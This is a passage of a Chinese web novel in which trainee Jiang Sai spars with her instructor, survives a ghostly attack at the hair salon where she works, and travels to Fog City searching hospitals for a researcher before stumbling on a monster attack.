“输的那一方,继续跑步。”
话音刚落,陈寂抬手扯过边上的顾禾。
孔丘扫了一眼:“自行组队。”
C2班49个人,两两分组后,刚好单出一个。
江赛站在原地,等了一会儿,发现周围人已经三三两两站好了。
崔崇宁也没动,她站得离人群稍远,目光落在别处。
等到所有人分完对,崔崇宁抬脚,走向对面剩下的那个女生。
江赛一个人站在原地。
她没有室友,和班上的人也不熟。
“老师,我没有队友。”
孔丘皱眉,将她拉到边上,“站这儿等着,谁先打完,谁和你打。”
说完,哨声一响,训练场乱成一团。
江赛盘腿坐在地上,看着他们来回过招。
她莫名想起四沃监狱。
那地方没什么规则,打架也是真打,赢了不一定有饭吃,但是输了肯定没有。
有些人被打断骨头还往死里冲,有些人趴在地上装死,等人走了再爬起来。
她只撑头看了一会,便觉得了无兴趣,抬手打了个哈欠,有些昏昏欲睡了。
正当快睡着的时候,肩膀被人拍了一下。
“起来。”孔丘把她拉起来,指了指刚打完的一个男生,“你和他打。”
那男生愣了一下,往后退了一步,“我打过了,没力气了。”
孔丘又指了另一个。
“我也没力气了。”
连着指了几个,都被推掉。
有人小声说,“她坐了一下午,我们累死累活打赢了,凭什么还要和她打?”
边上几个人跟着点头。
开玩笑,打赢了胜之不武,欺负弱小。打输了又要去跑步。
这个叫江赛的,一天到晚都是一副白着脸的死相,谁敢赢她?等会把人打出个好歹来。
江赛没说话,看着孔丘。
孔丘脸黑了。
他快步走上前,一脚把旁边刚站起来的男生踹翻在地。
“你去外面打异种的时候,异种还要看你刚刚打过架没有?”
男生被踹倒在地,一脸不服气,但没敢吭声。
孔丘回过头,看着江赛,“你和我……”
话还没说完,江赛突然撑着地朝他一个扫堂腿。
孔丘后退躲开,她跟上来,手掌成刃砍向他手臂。
孔丘接下这一招,顺势卸了她的力,一掌绕过她的手打在肚子上。
江赛被打倒在地,滚了一圈,从地上站起。
“嘶……”这老登,差点没把她中午吃的饭打出来了。
她不服气,退了两步,又冲上来。
这一回,她的动作变了。
不再是训练场上那种中规中矩的出拳,反而是冲着孔丘的喉结去的。
孔丘偏头躲开,她的下一拳已经砸向太阳穴。孔丘抬手挡下,她又脚下一转,膝盖顶向他的裆部。
孔丘后退半步,一掌拍开她的膝盖,眉头皱了一下。
江赛没给他喘息的机会,肘击脖子、指插眼睛、掌心推鼻梁,全是往要命的地方招呼。每一招都不太好看,但每一招都够狠。
孔丘一一接下,脸上那点漫不经心收了大半。
她的速度很快,孔丘更快。
江赛每一拳都被接下,每一脚都被卸掉,然后被轻飘飘地拍回来。
不疼,但实在烦人。
在不知道多少次被拍开后,江赛擦掉鼻血,盯着他看。
她很不爽。
这老登在明目张胆的放水,放水就算了,还不让她赢。
江赛又冲上去了。
孔丘接下她的拳头,反手一掌拍在她胸口,把她打退几步。
“行了。”孔丘抬手,“今天的训练结束。”
他吹响口哨,转身走了。
江赛跌坐在地上,一边擦汗一边大口喘气。
自己不仅被孔丘压的死死的,
甚至还看见他一边毫不费力的还击,一边分心观察着其他学生对战的动作。
江赛张开手臂往后一倒。
唉……
又被打爆了。
鼻血还在往下淌,她抬手擦了一把,发现擦不完,干脆不管了。
陈寂跑过来,“你没事吧?”
江赛摇摇头。
16. 芳芳美发店
江赛顶着一脸的鼻血回理发店的时候,芳姐正弯着腰给客人洗头。
她抬头看了一眼,手里的动作停住了。
然后她直起身,毛巾往水池里一丢,几步走过来,一把拉住江赛,按在旁边的椅子上。
“我滴个乖乖。”她皱着眉,扯过架子上的干毛巾,沾了水就往江赛脸上擦,“你这是弄什么去了?”
毛巾是凉的,江赛被冰得一抖。
“说话啊,”芳姐手上没停,擦两下又翻一面,“让人欺负了吧?”
那边被晾着的客人自己坐起来,头发湿淋淋地往下滴水。
“我侄子就是让人打进医院的,”他说,“听说训练生打架厉害得很……”
江赛张嘴想说话,客人已经往后一仰。
“快快快!!我的老腰老腰!!”
芳姐就把毛巾往江赛手里一塞,又去扶客人。
“他奶奶的,”她一边扶一边骂,“当我们芳芳美发没人了?敢欺负老娘的人——”
“不是,”江赛终于开口,“我自己摔的。”
店里突然安静下来。
江赛挠挠鼻子。
她怀疑那一跤给自己摔出内伤了。
本来已经止好的鼻血,上了公交后又哗哗流个不停。
直到现在,还有往外冒的趋势。
芳姐扶着客人缓了一会,走过来,掰过她的脸,左瞧瞧,右看看。
“胡说八道,摔能摔成这样?你是不是跟人打架了?真让人欺负了?”
江赛摇摇头。
那边的客人也摇摇头,自己躺回水池,没再说话。
江赛擦了擦鼻血,进屋把训练服换下来。
出来的时候,芳姐正拿着吹风机给客人吹头,嗡嗡的声音盖过她的脚步。
她走到柜台边,芳姐抬头看了一眼,又低头继续吹。
等吹完,客人走了,她才开口,“今天要不要休息一天?”
江赛摇摇头。
她丟了那么多血,现在正亢奋着呢,晚上更睡不着。
芳姐指了指隔间,继续收拾吹风机,“那你进去歇会儿,天黑了我叫你。”
江赛点点头,转身回了里屋。
她闭着眼睛躺在床上,听见外面传来的动静。
芳姐在幺呼客人,过了会又有吹风机响起的声音,几人欢声笑语。
不知道过了多久,门被敲了两下。
“起床,天黑了。”芳姐在外面说。
江赛坐起来,揉了揉脸,推门出去。
芳姐已经收拾好了,拎着她那个小包站在门口,打量了她一眼,“晚上没人的时候休息会,实在撑不住了就关门睡觉。”
见江赛点头,她才掀起门帘出去。
店里就剩江赛一个人,她嚼着肉干,靠在桌子上看手环。
下午的时候,学院发了一条放假通知,全院训练生从明天起放三天假。
入学一个多月了,学院难得大发慈悲,允许外地学生回家休息。
江赛心头一动。
她可以趁着这个机会去一趟雾都。
接下来的几个小时里,来了几个客人。
有剪头的,有洗头的,有按摩的。
一直到午夜,那个叫老吴的建筑工人也没来。
江赛靠在桌子上,看了一眼门口。
她记得老吴前几天带朋友来的时候,还拍着胸脯说今天肯定来。
现在都快两点了。
正想着,手环突然震了一下,她直起腰,低头一看。
【好友申请——脚踩医学部】
“……”这谁啊?
江赛犹豫了一下,点下同意。
还没等她打完字,对面发来消息:
446?
看着这一串有些熟悉的数字,江赛怔了一会,突然想起来。
这不是她在监狱里的编号吗?
望着头顶上诡异的ID,她敲下三个字,“尚医生?”
脚踩医学部:是我。
江赛:你怎么加的我?
江赛很好奇,他不是在监狱里吗?
脚踩医学部:作为一个医生,知道这些小事情还是轻而易举的。
脚踩医学部:我不仅知道你的账号,我还知道你是哪个学校哪个班的。
”……”这些她身份信息上不都标的清清楚楚了吗?
想到这里,江赛点开尚医生的身份信息,只有一句话。
——暂无身份信息——
脚踩医学部:你的账户没关权限吧?我只在论坛上搜一下你的名字就找到你了。
“……”她说呢?
江赛沉默了会,点开自己的账户,按照脚踩医学部发来的步骤,研究着关闭权限。
她再退出来的时候,发现尚医生又发了几条消息过来。
脚踩医学部:你要快点把我捞出去,我实在在这儿待不下去了
脚踩医学部:张智这个蠢货,我怎么没发现他那么烦人,你当初怎么没把他打死
脚踩医学部:联邦特种队来人了,要选些犯人出狱执行任务,周进可是差点被选上了,要不是我……
脚踩医学部:你还没弄完?
江赛一条一条看过去,嘴角直抽搐。
Zzz:知道了,我参加后年的学院考,过了就去医学部提名额。
脚踩医学部:训练学院不是都有宵禁吗,你怎么还没睡觉?偷偷摸摸干嘛呢?
Zzz:我是外宿生。
脚踩医学部:外宿生是什么?
Zzz:……
对面安静了会,又发来个消息。
脚踩医学部:那你现在住哪里?
Zzz:在外打工。
脚踩医学部:那你猜我在干嘛
她不想猜。
脚踩医学部:我也在加班,张智在我边上睡得跟死猪一样
Zzz:他怎么了?
脚踩医学部:被人打断腿了,还是个新人,张智现在一心只想杀了那小子
脚踩医学部:你说有没有意思,那新人和你差不多大,也姓江
脚踩医学部:你们姓江的还真是他的克星
尚医生在那边吐槽的时候,门帘响了。
江赛回头一看,是老吴来了。
她放下手环起身,又拉开椅子问,“洗头吗?”
“老板,洗头。”老吴丢了头盔,自己躺下水池边。
老吴今天话很少。
往常他来的时候,能拉着江赛聊半天,从工地上的活聊到家里儿子不听话,话多得赶不走。
今天他只是低着脑袋,仍由江赛给她洗完头又吹干。
直到戴上头套前,他依旧保持着那副垂着头的样子。
这些天他每次来都要抱怨。
江赛只当他累了,从边上抽了两个枕头垫在他后背。
再次打开手环的时候,全是尚医生的发来的消息。
脚踩医学部:这个死肥猪呼噜声那么大,吵得老子睡都睡不着
脚踩医学部:他上个厕所都还要老子扶着去,他当我是他的护工吗?!!!
脚踩医学部:你到底干嘛呢?!
……
整整几十条全是对张智的控诉,她很难想象短短一会儿那边发生了什么。
看不出来尚医生还是个话痨。
Zzz:为你脚踩医学部的梦想奋斗呢,加油。
她发完消息,又坐了会儿,等时间到了,取下头套。
老吴却没像之前一样站起来,他还保持着戴上头套前的动作。
江赛伸手轻轻一推,他顺势倒在桌子上,一动不动。
江赛怔了怔,放下头套,绕过椅子走过去。
刚刚走到他身边,原本还没有反应的人突然抬手,摆了摆。
“我实在太累了,今天别让我走了,我躺一会儿……等会还得上工呢……”
江赛看着他的手。
这话确实不像老吴的语气。
她觉得老吴不对劲,就推了他一下。
老吴终于睁开眼睛,他趴在桌上,侧着脑袋,轻轻喊了声,“小江丫头。”
江赛盯着他看了两秒。
“我有点累,”他说,“我能不能在你这儿躺会?等会儿还要上工。”
江赛没说话,又盯着他看了会儿。
一切正常,除了一脸的疲倦,什么也看不出来。
她点点头,让开位置,“您到边上那个躺椅上休息。”
老吴站起来,脚步发飘,挪到角落的躺椅上,往后一靠,没一会儿就闭上了眼睛。
江赛站在那儿,看着他。
老吴的胸口还在起伏,呼吸声很重,但确实睡着了。
她走过去,把掉在地上的工服捡起来,搭在他身上。
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看样子真的是累坏了。
晚一点的时候,店里来了客人,先是两个年轻人,穿着工服,身上一股机油味。
后来又来了个女的,三十来岁,头发染得焦黄,要补色。
江赛调好药水,一层一层往上刷,那女人靠在椅子上,闭着眼,嘴里念叨着老公不管孩子、婆婆还天天骂她。
今晚的客人有点多,她一个一个招呼,洗头、按摩、又送客。
老吴就一直躺在角落里睡着,没醒过。
送走最后一个客人的时候,江赛看了一眼手环。
已经快四点了。
她趴在桌子上,点开雾都的论坛,随便翻了几条。
看着看着,眼皮越来越重。
原本想着再撑一会儿,天快亮了,但不知道什么时候,手环的光暗下去。
再次醒来的时候,眼前一片昏暗。
她一惊,下意识坐起身,除了发麻的手臂,脑袋上也沉沉的,似乎套了个什么东西。
江赛伸手一摸,是一个头套。
店里的那个透明头套。
谁给她戴上的?
她一把扯下来,放在桌子上。
店里很昏暗,头顶那根灯管没亮,墙角那台吹风机的红灯也灭,角落里的躺椅空着,老吴不在。
江赛站起来,走到门口去按开关,按了几下没反应。
她打开手环光,往头顶一照。
头顶的灯管被人抽走了,只剩下空空的卡槽。
“吴叔?”她轻轻喊了声。
哪有人答理她。
江赛举着手环,转了一圈。光扫过那排空着的躺椅的时候,镜子里的人脸色发白,眼眶底下两团青黑。
她的脚步突然顿住了。
镜子里,她身后。隔间的门不知道什么时候打开了,开着一半。
她记得睡前那扇门是关着的。
隔间后就是放东西的里屋,每晚芳姐走之前还会特意推一下,让她关好房间。
江赛立刻转身,朝着房间走去,走了几步,停下来。
门缝里面透出一点的黑,她的房间没有窗户,里面更暗一些。
黑漆漆的房间里,坐了个更黑的影子,贴着门口,一动不动。
那黑影在她的注视下,飞快闪了一下。
她一僵,两条腿藏在裤子里止不住的哆嗦。
她捂着胸口后退几步,手撑在桌子上,低头一看,裤子已经被渗出来的水打湿了。
……没事,没大事。
不做亏心事不怕鬼敲门,她做了那么多亏心事,就更不怕了。
江赛稳了稳心神,再次抬手,光打过去。
是老吴。
他穿着工服,低着脑袋,背对她,坐在门口,一动不动。
那工服上有白天蹭上的灰,还有些水泥印子,领口那块还有她刚才搭上去时留下的折痕。
“吴叔?”江赛又喊了声。
吴叔的身影又动了。
低着的脑袋,慢慢抬起来。
江赛只看见一个黑漆漆的后脑勺。
下一秒,那个身影就飞过来了。
它的速度快得根本看不清。
江赛只感觉有什么东西撞上来,一巴掌打在撑着桌子的手臂上。
她手一滑,整个人往旁边倒。
腿是软的,根本支撑不住,她直接砸在地上。
黑影紧接着扑上来,掐住她的脖子。
江赛抬手去推,但看不清吴叔的脸。
昏暗的环境里,那张脸在乱晃的光束下,不知为何,怎么看都看不清楚。
她挥手打向它的脑袋,拳头却落空了。
那脑袋往后一折,像断了脖子一样挂在背后。
江赛愣了一下。
掐着她的手力道很重,不一会她就开始眼冒金星。
她抬脚去顶,却又顶了个空。
老吴的身上好像没有骨头,一顶就凹进去,根本使不上力。
“让你看店,你在这儿玩呢?”
头顶响起一个熟悉的声音。
接着脖子上一松。
江赛睁开眼,黑蒙蒙的视线里,一身花花的人影拎着那个黑影站在旁边。
她撑起地,大口喘气,眼前慢慢清明起来。
店里的灯不知道什么时候亮了,她抬起头,边上站的正是穿着花裙子的芳姐。
17. 芳芳美发店(二)
她手上拎着的,哪里是什么吴叔,分明是昨晚她给吴叔盖的那件工服。
江赛低头看自己,她全身都在滴水,衣服湿透了,地上滩了一小洼。
芳姐再来晚一点,她可能整个人都化成一滩水了。
“吴叔呢?”她问。
“什么吴叔?”
芳姐愣了一下,嫌弃地把那件湿漉漉的工服往椅子上一丢。
“平时看你老气沉沉的,没想到还挺童趣,”她说,“跟一件衣服玩这么开心。”
“......”
江赛张了张嘴,没说话。
她低头看了眼自己的手指,指甲缝里干干净净的,什么也没有。
刚才掐着她脖子的那个东西,好像根本没存在过。
“愣着干嘛?”芳姐踢了踢她的腿,“去换身衣服,一身水,等会儿客人来了像什么话?”
江赛没动,坐了会,才撑着地站起来,腿还是软的,扶着桌子才勉强站稳。
门帘已经被芳姐掀起来,能听见外面清晰热闹的人声。
老吴呢?
她又抬头,头顶上是刺眼的光。
哪里有什么空空的卡槽,灯管正一动不动的待在那儿呢。
她做梦了?可是老吴的衣服还留在这,桌子上摆着她亲手取下的头套。
“你昨晚带头盔了?”
江赛摇摇头,又点点头。
她扶着墙往隔间走,走到门口,站了一会儿。
芳姐正坐在柜台后面,翘着腿看衣服。
“芳姐。”她说,“我想请个假。”
芳姐抬头看她,“干嘛?”
“出趟门。”
“请几天?”
江赛想了想:“三天。”
芳姐盯着她看了几秒。
“现在?”
江赛点点头。
“你不用上课了?”
“学院放假了。”
芳姐没说话了,又低下头看手环。
江赛转身进屋,换完衣服出来的时候,已经有客人来了,芳姐正弯着要给人洗头,听见声响抬头看了她一眼。
她打了招呼,往外走,刚掀开门帘,芳姐在后面喊了一声,“路上注意安全。”
雾都在鹿河北边。
她之前查过,坐车过去要一整天。
学院只放三天假,她要在第四天早上赶回鹿河。
她从基地门口出发,倒了三趟车,直到天黑才到雾都外围。
江赛从车窗往外看。
远处的地平线上,一大片亮光,黄的、白的光混在一起,还有几道更亮的光柱直直插进云里,把天都映亮。
车越开越近,那片光越来越大,越来越亮,亮得她睁不开眼。
这儿的外墙是纯白色的,高的看不见顶,墙面上每隔一段就嵌着一颗灯,排成一条线,一直延伸到看不见的地方。
墙上面,有什么东西在动。
她盯着看了会,等凑近才看清楚。
是一辆接着一辆,没有轮子的车,沿着墙顶飞过,像一条发光的长蛇。
闸口就在前面了。
江赛下车跟着人群往前,进城的时候被拦了下来。
门口站了一排穿制服的人,脸上挂着微笑,手里拿着扫描仪,前面排着长队,一个一个刷手环、刷脸、等屏幕变绿。
轮到江赛的时候,扫描仪在她脸上停了五秒。
面前的人低头看了一眼屏幕,又看了她一眼。
“鹿河来的?”
江赛点点头。
“来干嘛?”
“来玩。”
那人放下仪器朝她敬了个礼,“祝您玩得开心。”
从闸口进来,眼前的世界一下子变了。
鹿河的街道是灰扑扑的,两边都是旧楼,头顶是乱七八糟的电线缠在一起,城区里大多是狭窄的巷子。
雾都的路很宽,宽得能并排跑四辆车。
地面很干净。
江赛低头看了一眼,比她的鞋还干净,还发亮,亮得反光。
两边大多是矮楼,也有高的,看着就十多层,贴着浅色的墙砖,一排排往远了铺。
中间还穿插了些她叫不出名字的巨树,叶子也绿的不像真的。
基地里很热闹。
旁边的人穿着亮面的衣服,头顶上有悬浮车飞快掠过,还有随处可见的广告屏。
其中有一个比四周任何一栋楼都大,半透明的悬在空中,上面是一个女人的脸,嘴角带着笑。
江赛盯着看了好一会。
发现是一束束光线打在空中,聚集成的一张脸,车穿过去的时候,那张脸还会抖呢。
街上的行人没有抬头看的。
只有她一个人站在那儿,仰着脑袋,像个傻子。
穿越了?
要不是她身上还穿着美发店的旧衣服,鞋底还粘着鹿河的黄泥巴。
她还真会以为自己又穿越了。
江赛站在雾都的街上,看着满街的光,有点懵。
她其实不知道周俊在哪里。
论坛上只说送到雾都了,没说送到哪儿。
研究所?医院?还是别的什么地方?
目前只能猜测那家伙是医生,又或者是研究员。
江赛想起在牧场,他看向自己时那狂热的目光。
她决定先去研究院碰碰运气。
研究所她进不去,她这点本事,自己清楚,可她得先知道他在哪儿。
她顺着人流往前走,边走边查询雾都研究院的地址。
研究院在内城,她依旧打算坐公交车去。
她沿着商业街走了半天才找到车站。
不是旧世路边那种竖起的车牌,只有一个凸起来的台子,像个小码头,悬在半空。
台阶是透明的,她踩上去的时候低头看了一眼,底下是空的,还能看见地面的人和车。
她快步走上去。
台子上已经站了几个人,她学着他们的样子,站在一条白线后面等。
车子开来的时候,她跟着前面的人走进去,车里没有座位,只有一排排的扶手吊下来。
地板是透明的,她刚站上去就后悔了,底下是空的,依旧能俯瞰整条街的状况。
车开的时候,有一阵轻轻的推背感,窗外的楼往下沉,越来越小。
车窗里只看见飞速划过的广告投影,她能感觉公交的速度很快,甚至远超她上一世坐过的交通工具。
这里和鹿河简直是两个世界的产物。
江赛看了一路五彩斑斓的灯光,直到车子越开越偏,窗外的广告屏开始减少,楼也越来越高。
她到站的时候,已经是半夜两点了。
研究院的大门比鹿河学院的校门大十倍,门口两盏大灯,照得门前一片雪亮。
门口的牌子上写着:
联邦中央生物研究院雾都分院
江赛站在对面巷子口,看了一会儿。大门口有警卫亭,进出都要刷手环,旁边围墙上隔几步就装着一个摄像头。
她进不去。
这是意料之中的事。
她围着四周观察了一会,发现大门不远处有个小门。
门开着的,几个穿工服的人抬着箱子,往里面搬东西,大门的警卫只侧头看了一眼。
江赛站在巷子口没动,想了想还是录下那个过程。
等那几个人进去,门关上了,她又沿着研究院转悠。
边转边低头看手环,联系人那一栏只有尚医生,对话框还开着。
她敲下几个字。
Zzz:你在雾都有熟人吗?
等了很久,对面才回。
脚踩医学部:你又跑雾都去了?
江赛盯着屏幕。过了几秒,对面又发来一条。
脚踩医学部:你是去找周俊的吧?他在医院躺着呢。
Zzz:?
脚踩医学部:那个雾都研究院的初级研究员?我知道,你那儿无忧牧场的事情闹得那么大,我怎么不知道?
Zzz:?
脚踩医学部:他在里面发现你液化的秘密了?
江赛冷着脸,看着手环里一闪一闪的消息,聊天框里一句“监视我”的质问始终没有发出去。
她关掉手环,往回走,边走边搜索雾都几个大医院。
最后将目标定在了雾都第一中心医院和雾都大学附属医院。
江赛搜索了地址,发现附属医院就在离研究院不远的地方,公交只用一个小时。
她先去了雾都大学附属医院。
就是很普通的医院,进去就是门诊大厅。
明明是半夜,挂号窗口却排着长队,椅子上坐满了人,小孩哭、老人咳、广播里喊人取药。
她往里走,上了住院部。
墙上的楼层指示牌。外科、内科、骨科……没有重症两
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个字。
意外的是,她还看到了一个陌生的科室。
异种创伤科。
她将注意力放在这两个科室,走到电梯口。
电梯门上贴着一张纸:
ICU病区,家属请按铃上电梯
她试着按了下。
铃声响了几秒,里面有人说话,“几床?”
江赛没说话,转身去试了异种创伤科的电梯。
依旧是一样的情况。
看来这两个科室暂时进不去了,她坐普通电梯,先搜索了能去到的所有科室。
走廊很长,两边是病房,门开着,能看见里面的人。
挂水的,睡觉的,家属陪床的。
意料之中没有发现周俊的身影。
一直走到最顶层的尽头,她站在病房外,看了一眼里面那间病房,只有一个老头孤零零躺在里面。
江赛看了眼走廊上的监控,走进病房里。
房间很大,只有一个床位,甚至配备了沙发电视,还是十分空旷。
对面那扇大窗户还开着,凉风呼呼的往病房里吹。
江赛走到窗边,低头看了一眼,这是医院的背面,正对着一座大山,外墙上有许多凸起,够她落脚了。
握着把手的手有些发麻,她深吸了一口气,回头看了眼床上的老人,踩上窗沿翻了出去。
风从底下往上灌,把她的短发吹得乱七八糟。
外墙上有凸起的砖棱、空调外机的架子、管道。
江赛没敢往下看,她踩在架子上,抓着管道,稳住心神一层一层往下挪。
不成功就成泥。
她在心里默念。
听说异能者的体质很好,不知道这么高摔下去她还能不能活。
要是控制不住液化,那就让她摔成烂泥吧,不争气的东西。
异种创伤科在四楼。
她爬到底下,扒着窗把脸凑过去。
里面不像是病房。
走廊比别的楼层宽,天花板上的灯是暗的,只有墙根亮着一排蓝光。
地上铺着一种软塌塌的灰白色东西,像橡胶,墙上还有一道道很深的划痕,露出里面的金属.
她贴着玻璃,慢慢挪,一个一个窗户看过去。
第一扇窗后面是空的,房间很小,只有一张床,床是铁制的,四边都有栏杆包围,床头还挂着一副手铐,像个铁笼子。
第二扇窗后面有人,一个穿着白色衣服的男人坐在床边,背对着她一动也不动,江赛盯着看了会,直到那人转过头,她才抓着水管挪走。
她一个一个细细看过去,数到走廊尽头,没看到一张脸是她认识的。
她继续往下。
三楼是ICU。
窗户也关着,窗帘只拉了一半,她换了个角度,从缝隙里往里看过去,依旧没有找到想找的人。
这个医院没有她想找的人。
她应该抓紧时间,去中心医院搜索一番。
江赛没再往下。
往上爬比往下难,手臂开始抖的时候,她才爬到五楼,等到七楼的时候,腿也软了。
好不容易到顶楼那个老头的病房,她翻进来,一屁股坐在地上,靠着墙喘气。
窗外已经有些光亮,风还在吹。
江赛坐了一会儿,站起来,拍了拍裤子上的灰,转头看了眼床上的老人,顺手关上窗户。
她走出医院,坐上前往内城的公交时,天已经亮了。
第一中心医院和她昨晚去过的地方,完全不一样。
门口没人,只有两扇透明的玻璃门,亮着蓝色的光。
她刚走近,门上突然出现一个框,框住了她的脸。
一个声音从脑袋顶传来,“身份验证。”
江赛站着没动,等那框在她脸上扫了两圈,偌大的玻璃门就打开了。
大厅里很安静,既没有护士,也没看见排队的病人,天花板上的灯走过就亮起来。
她穿过大厅,在拐角的地方,看见一个穿着白大褂的人笔直的站在电梯前。
“你好,”江赛走过去,“请问住院部怎么走?”
那医生转过身,是一张男人的脸,眼睛是两片灰色的玻璃,胸口的上印着一行小字:
雾都第一中心医院·导诊员·型号F7
“住院部在三楼。”它说,声音和刚才在门口听到的一样,“访客请至前台登记,由右侧电梯上楼。”
18. 芳芳美发店(三)
医院对面,江赛找了家小饭馆,奢侈的点了份肥肠面。
她歪着脑袋,坐在靠窗的位置,边嗦粉边望着医院大门,直到一碗粉快吃完,那边才开始热闹起来。
门口进进出出的人,住院部她都进不去,更别提什么其他科室了。
上电梯要做访客登记,她总不能和别人说她是来找周俊的吧?目的是为了杀他?
江赛低头看手环。
雾都的就医政策超出鹿河不止一点点。
说来奇怪,明明是中心基地,城内却时常有异种冒出。
为此,政府增加了一条极其人性化的就医政策。
只要是联邦公民遭受了异种攻击,都可以免费到特定医院接受治疗。
江赛喝着面汤往下看,特定的医院名单里,几乎所有的医院都在其中。
排在最后一个的,赫然就是她心心念念的中心医院。
成堆的金币她没有,狰狞的异种不到处都是吗?
只要她赶在警卫队和特种队到达之前,先找异种打一架,她就能被抬进心心念念的异种创伤科。
喝完汤,江赛把碗往桌子上一放,雄赳赳的去找异种了。
异种等级从E到S,就像异能一样,越往上实力越高。
基础训练学院的实战对练异种,等级最高只到B级。
而雾都基地里,像鬼一样冒出来的野生异种,等级最低都是B级。
她要找异种挨打,伤得受,人却不能残,进了医院还有场大战等着她。
她身上除了一把手掌大小的匕首,就剩下个时而鸡肋时而也没用的废物异能了。
江赛转了个方向,准备前往最近的猎具行。
这种专门买防身器材的店铺,在雾都很常见,因为很多雾都公民都要随身携带兵器,她基本上走一段路就能看见一个。
江赛走了几条街,最后选中了个看起来不那么高级的店面,门口还贴了个指示标:
民用防务用品销售许可证
架子上堆满了各种器械,什么样的都有。
匕首、甩棍、弩,飞镖、手枪、电击器,就连辣椒喷雾都有。
偌大的店铺里,只有柜台前一个守店的年轻女生,见她进门,对着她笑了笑,又低头继续捣鼓手上的黑盒子。
江赛背着手转了几圈,没看到架子上有价格标注,她又晃悠回柜台。
“老板,我想买把武器。”
听见这话,女生抬头又对着她笑了笑,“武器在架子上,您想买什么样的?手枪护盾刀?干扰器喷射器毒素弹?”
江赛沉默了会,后面那些听着不像她能买得起的样子。
“枪,手枪。”
“好的。”那女孩转身,抬手从墙面抽出一块面板,里面摆放了各式各样的手枪。
“左边这排是普通的动能手枪,标准半自动、大口径左轮……您用来打人、打一些小型异种都很方便。”
“中间这排是特种弹药手枪,外型和动能枪一样,里面的子弹不同,有□□、高爆弹……专门用来对付异种的,联邦特种队同款哦。”
“右边这排是能量手枪,粒子手枪、电击脉冲枪……一般是给外出基地的军队或雇佣兵使用哦。”
江赛想了想指着左边角落里最小的那把手枪,“这个,多少钱?”
“零售价,十八万三千七百金币,这边给您抹零十八万四千金币。”
“……”多少?
江赛拨了拨短发,“有刀吗?”
女生点点头,“您是买来做什么呢?”
“防身。”江赛想了想,“防异种,越便宜越好。”
听见这话,女生立刻柜台,从门口对着的架子上拿了个漆黑的金属柄过来。
“这个震荡刃是二手的了,上个月报废回收回来的,现在修好了。内部有些破损,但是不影响使用。”
“您要的话这边收您八万金币。”
江赛接过金属刃,瞧了瞧,“这怎么用?”
“您握着它,按一下开关,刀柄前端就会伸出高频震动的刀刃。”
江赛握着试了试,大拇指的位置有个凹陷,一按下去刀刃就震出来了,再松手就能停。
这刀柄本身也不大,就比手掌长了点,粗细刚好握住,外型也是武器的样子,别在腰间像个工具,十分方便。
“这个刀刃很锋利的,砍异种外甲都不会卷刃,大多是雇佣兵买去专门破甲的,一把崭新的要二十万呢。”
便宜了一半多?
“之后有问题怎么办?”
八万不是个小数目,她要谨慎谨慎再谨慎点。
“您放心,后续产品有任何使用问题,您可以随时到本店来维修,终身免费。”
“就这个了!”
江赛肉疼的交了钱,把这巨额宝贝塞进腰间,往城外走。
内城的异种固然多,可是离警卫队和政府中心太近了,人也多。
她到外城去蹲守,人流稀少,要是不小心液化也不用担心被当场捉走做实验。
这小刀柄子比她身价还高,不到万不得已的时候她是舍不得用的。
唉,穷惯了就是这样。
要是再这样下去,她吃口饭都觉得罪恶了。
江赛坐上公交到外城,四处转了转,没看到异种的影子,就再次坐上公交。
如此反复,几个小时后,她到达了北门区。
是百年的老城区,周围有些高耸的居民楼和小吃街,但此刻大街上却没什么人。
帖子上有人说,这几天南门的老城区有异种出没,已经伤了好几个人。
她顺着街道走,走到一半,拐进个小巷子。
巷子很深,两边都是旧楼,墙皮脱落,窗户黑漆漆的,她走了几条街,什么也没看见。
正打算换个地方,不远处突然传来喊声。
“异种!异种!给我抓住他!!”
江赛转头,发现不是她这条巷子的声音,是隔壁传来的。
她踩着垃圾箱,攀上墙头,低头往下看。
巷子里,有几个人围着一个穿工服的男生,他衣服被扯开,领子也歪在一边。
那人此刻正蹲在地上,怀里抱着个笼子,江赛歪头仔细看了会,发现笼子里是几只脏兮兮的老鼠。
“说了,你这窝有问题。”站在最前面的那个抬脚提了提笼子,“上面都来了几次了,你还藏着掖着。”
工服男没说话,抱着笼子往怀里拢了拢。
“藏藏藏,藏什么藏。”旁边的人伸手去拽笼子,“这玩意儿要是异种,还有你那个破店都特么得进去查查。”
“前天那臭老鼠就是你这儿逃出去的吧——”
江赛没听完,抬脚准备走。
这儿哪有什么异种,分明是几个小屁孩在欺负人。
她不是来看热闹的,异种还没找到,她没空管这些破事。
临走前,她从边上捡了块石头,对准羊群里的羊首。
来都来了,她准备把领头羊的脸打肿,再继续自己的伟大计划。
石头还没丢出去,下面突然“哐当”一声。
她侧头一看,是那工服男怀里的笼子摔在地上,盖子被弹开,几只老鼠全部窜了出来,往巷子两头跑。
“啊!跑出来了!跑出来了!!”有人吓得失声尖叫。
工服男趴在地上伸手捞,被那几人抬脚踩住。
巷子里充斥着尖叫和怒骂,她被吵得头疼,又有些想笑。
正准备跳下墙头,右边的巷尾传来一声闷响,像是有人比她先落地。
听见声音,几个人都抬头望去。
是一只蜈蚣,从墙头翻下来了。
不对,不是蜈蚣。
那怪物上半身是一只巨型蜈蚣,油亮漆黑的甲壳反射着污浊的光,头上一对毒钩发出“咔哒、咔哒”的轻响。
身前从头到脚,布满了墨绿色的短毛,正不停的在蠕动。
下半身焊接了两条扭曲的机器腿,接近三米的高度,正以一种僵硬又诡异的姿态直立着。
原本热闹的巷子立刻变得死寂。
小团伙后面两人离得最近,也看得最清楚。
最边上的男生,脸上的笑容在看清楚那东西的瞬间,就彻底碎裂。
“异……异种!!跑啊
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——!!”
他转身就逃,却被自己慌乱的脚绊倒,连滚带爬地往后挪。
这一声像一个开关,原本凝固的场景彻底沸腾起来。
“跑!!!”
“救命——!”
一伙人轰然炸开,所有人像没头苍蝇一样向后疯跑,惨叫声瞬间取代了之前的怒骂。
江赛也是逃跑的一员,她手抖得厉害,刚刚踩上垃圾桶,一只腿还挂在墙上,动作突然一愣。
不对啊。
她不就是来找异种的吗?
她又爬回墙头。
蜈蚣怪物正弯曲上半身,一口咬住地上的一只老鼠,脑袋一甩,吞了下去。
它没管逃跑的人,反而慢慢蜷曲着身体,一双漆黑的头对准了这边。
工服男刚刚从地上爬起来,惨白着脸去捡地上的笼子,跌跌撞撞的往外跑。
谁知工服男还没跑出几步,怪物突然动了。
它一动,江赛也动了。
怪物蜷着上半身,迈开那对粗陋的机械腿,动作怪异又笨拙,朝工服男“哐哐”地冲过来。
工服男吓得一声哀嚎,连滚带爬,拼命地往巷口跑。
好不容易要跑出巷口,身后的怪物已经追上来了。
怪物往前一扑,一对步足扎在男生后背,只听见一声惨叫。
